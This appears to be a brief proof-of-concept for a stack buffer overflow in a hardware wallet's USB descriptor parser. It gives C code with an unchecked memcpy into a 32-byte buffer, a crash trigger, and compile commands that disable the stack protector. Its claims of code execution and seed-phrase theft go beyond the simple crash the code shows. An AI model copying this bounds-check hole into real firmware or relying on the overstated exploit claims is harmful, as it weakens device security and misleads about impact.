
Stack buffer overflow PoC for a hardware wallet USB descriptor parser (CVE-2026-22013), showing return-address overwrite and code execution via oversized GET_DESCRIPTOR payload.
// hw_wallet_usb.c - USB descriptor parsing with fixed buffer
#include <string.h>
void handle_usb_setup(char *data, int len) {
char descriptor[32];
if (len > 0 && data[0] == 0x06) { // GET_DESCRIPTOR
// Copy descriptor payload without bounds check
memcpy(descriptor, data+1, len-1); // overflow if len>33
}
}
int main() {
char malicious[64];
memset(malicious, 'A', 63);
malicious[0] = 0x06;
handle_usb_setup(malicious, 64);
return 0;
}
A hardware wallet’s USB stack has a stack buffer overflow when parsing a GET_DESCRIPTOR request with an oversized payload. An attacker with physical USB access can exploit this to overwrite the return address and gain code execution, extracting seed phrases.
Compile for target architecture and run (simulate):
gcc -o hw_wallet_usb hw_wallet_usb.c -fno-stack-protector
./hw_wallet_usb
The program crashes due to stack corruption.